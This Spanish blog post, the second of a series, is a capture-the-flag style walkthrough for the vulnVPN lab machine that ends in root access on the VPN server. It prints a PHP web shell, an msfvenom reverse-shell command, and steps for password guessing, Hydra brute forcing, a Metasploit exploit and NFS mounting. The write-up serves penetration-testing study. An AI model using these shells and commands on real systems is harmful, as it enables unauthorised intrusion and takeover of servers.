Blog

Como vulnerar una VPN – Parte II

Para ver la serie completa pulsa aquí. Habrá conceptos que se den por obvios ya que están explicados en artículos anteriores.

Buenas a todos! En el anterior post de esta serie vimos como era posible sacar la clave para conectarse a la VPN y una vez dentro como podíamos escanear los host que hubiera en la red. En este nuevo post vamos a continuar viendo como avanzar en el proceso de pentesting sobre la VPN.

Como ya vimos teniamos dos host, nosotros (10.99.99.2) y otra IP (10.99.99.1) que es la IP del servidor VPN pero interna, por lo que realizaríamos un escaneo sobre dicha IP para segir auditando el servidor, aunque ahora desde la red interna.

nmap -A 10.99.99.1 -p1-65355

 

Al obtener los resultados vemos que nos muestra gran cantidad de puertos abiertos, sobre los primeros que miraríamos seria ver que tiene en el puerto 80 y 10000 donde hay servicios web corriendo.

vpn2_1

 

Vemos que el puerto 80 no contiene nada y en el 10000 hay que conectarse por HTTPS por lo que realizamos la conexión y vemos que lo que nos pide es una autenticación.

En el puerto 80…

vpn2_2

 

En el puerto 10000 por HTTP…

vpn2_3

 

En el puerto 10000 por HTTPS…

vpn2_4

vpn2_5

 

Como lo primero que vamos a analizar son los servicios 80 y 10000, lo lógico sería comprobar si somos capaces de encontrar algunos archivos o directorios interesantes, para lo que podríamos utilizar DirBuster que ira comprobando si los directorios de una lista se encuentran en el host. Por lo que abrimos el programa y ponemos la siguiente configuración (En mi caso utilizo Kali):

vpn2_6

 

Una vez termina vemos que hemos encontrado una gran cantidad de directorios y archivos cuando a simple vista no había nada.

vpn2_8

 

Sin duda uno de los directorios que nos llama la atención seria el de WordPress, por lo que nos conectamos a el.

vpn2_7

 

Vemos que tenemos un formulario donde podemos introducir cosas y… Mandar un fichero, por lo que podríamos probar si fuera posible subir una shell en PHP. Por ello creamos un fichero “shell.php” que contenga lo siguiente:

<?php
 highlight_string(shell_exec($_REQUEST['cmd']));
 ?>

 

Esto nos permitirá ejecutar comandos mediante el parámetro ‘cmd’. Probamos a subir el archivo y… Nos deja perfectamente y sin problemas.

vpn2_9

 

vpn2_10

 

Ahora tenemos que localizar donde la abra subido, pero eso es bastante sencillo en WordPress ya que todo lo sube en “/wp-content/uploads” por lo que nos conectamos.

vpn2_11

 

vpn2_12

 

vpn2_13

 

vpn2_14

 

vpn2_15

 

Y vemos como hay un archivo .php aunque con un nombre distinto por lo que comprobamos si es ese introduciendo como parámetro GET “cmd=ls” para realizar un ls sobre el directorio donde este el archivo y… Efectivamente es ese archivo, por lo tanto ahora seriamos capaces de ejecutar comandos en el propio servidor VPN aunque de una forma un tanto lenta, por lo que podríamos hacerlo mas fácil haciendo uso de Metasploit para subir una shell en condiciones. Para ello podríamos generar una shell de Meterpreter a través de un php de la siguiente manera:

msfvenom -p php/meterpreter/reverse_tcp LHOST=10.99.99.2 LPORT=4444 -f raw > meter.php

 

Tras crearlo solo tendríamos que poner a la escucha Metasploit y subir el archivo como ve muestra a continuación:

vpn2_16

 

Y como podemos observar al pinchar sobre el archivo subido se nos abre la sesión de Meterpreter, donde ahora ya tenemos control del servidor como el usuario “www-data”.

vpn2_17

 

Ahora lo normal seria intentar hacerse con el control del servidor con un usuario mas privilegiado. Para ello abrimos una shell y comprobamos el contenido de “/etc/passwd” para comprobar que usuarios hay en el sistema.

vpn2_19

 

En este archivo vemos usuarios normales como por ejemplo root, pero otros mas personales como puede ser ‘bob’ y ‘jane’. Podríamos intentar escalar privilegios mediante Meterpreter pero como eso ya lo hemos hablado en la serie “Conociendo Meterpreter” vamos a centrarnos aquí en otros caminos. Uno de estos posibles caminos seria intentar encontrar la contraseña de alguno de los usuarios personales ya que al ser de “personas” podrían ser mas fácil de adivinar.

Para ello nos vamos al login que habíamos encontrado en el puerto 10000 y tras hacer algunas pruebas típicas descubrimos que la contraseña del usuario ‘bob’ es ‘bob’, lo cual aunque parezca mentira es muy común.

vpn2_21

 

Una vez logeados en el puerto 10000 como el usuario ‘bob’ conseguimos acceso a un panel web. Tras investigar un poco que seria lo normal al hacer un pentest veríamos si buscamos en Google o en Metasploit por el nombre del panel web veamos que tiene un exploit como vemos a continuación:

vpn2_22

 

Y si leemos las especificaciones comprobamos que dicho exploit nos proporcionaría acceso como “root” al sistema siempre y cuando tengamos una cuenta valida en el panel web, en nuestro caso ‘bob’, por lo que lo configuramos con Metasploit y lo lanzamos.

vpn2_23

vpn2_24

 

Como vemos tenemos acceso COMPLETO al servidor ya que somos “root”. Otra forma de haber llegado a conseguir acceso como “root” podría haber sido por ejemplo utilizar Hydra para sacar el usuario de bob mediante un diccionario como vemos a continuación:

vpn2_26

 

De esta otra forma ya tendríamos el login de ‘bob’, por lo que podríamos intentar comprobar si podemos montar una unidad de red NFS ya que al hacer el escaneo al host vemos que mediante RPCbind y mountd nos muestra el uso de NFS y los puertos. Para comprobar si podríamos montar la unidad utilizamos Metasploit de la siguiente manera:

vpn2_27

vpn2_28

vpn2_29

 

Y como podemos observar si que es posible, por lo que salimos de Metasploit y montamos el directorio:

mount 10.99.99.1:/home/bob /root/vulnvpn/ -o nolock

vpn2_30

 

Una vez echo esto podríamos comprobar todos los archivos que tendría el usuario en su directorio de la siguiente forma:

ls -lah

vpn2_31

 

Como vemos nos muestra un  par de cosas pero hay algo que puede llamarnos la atención, y es el propietario de la mayoría de los archivos, que es “4294967294”, si hacemos una búsqueda en Google vemos que es ‘nobody’, pero si tuviéramos un usuario exactamente igual que el sistema vulnerado, es decir con el mismo id seria posible que pudiéramos acceder a otras cosas al realizar el montado de la unidad, y mas importante, que tuviéramos permisos para introducir archivos por ejemplo.

Y hasta aquí llega el post de hoy y damos por finalizada la serie, donde hemos visto como seria posible tomar el control de un servidor VPN gracias a una mala configuración del portal web que estaba instalado en el mismo host, ya que hemos conseguido subir una shell gracias a haber encontrado que estaba instalado y mal configurado WordPress. Y por otro lado hemos explotado una vulnerabilidad en el administrador web gracias a que teníamos una cuenta no privilegiada. Como hemos visto hemos llegado a tener control del servidor VPN no solo mediante técnicas de ataque contra VPN, sino por cosas tan simples como que el mismo servidor aloje un WordPress o algún servicio mal configurado.

Esta serie seria también una posible solución a la maquina virtual vulnVPN aunque ni mucho menos la ultima ya que existirían muchas mas formas de poder entrar. Por ello os animo a que probéis 😉

Un saludo,

Eduardo – eduardo@highsec.es – @_Hykeos

Fuente: http://www.rebootuser.com/?p=1474

 

 

 

Leave a Reply

*

    No Twitter Messages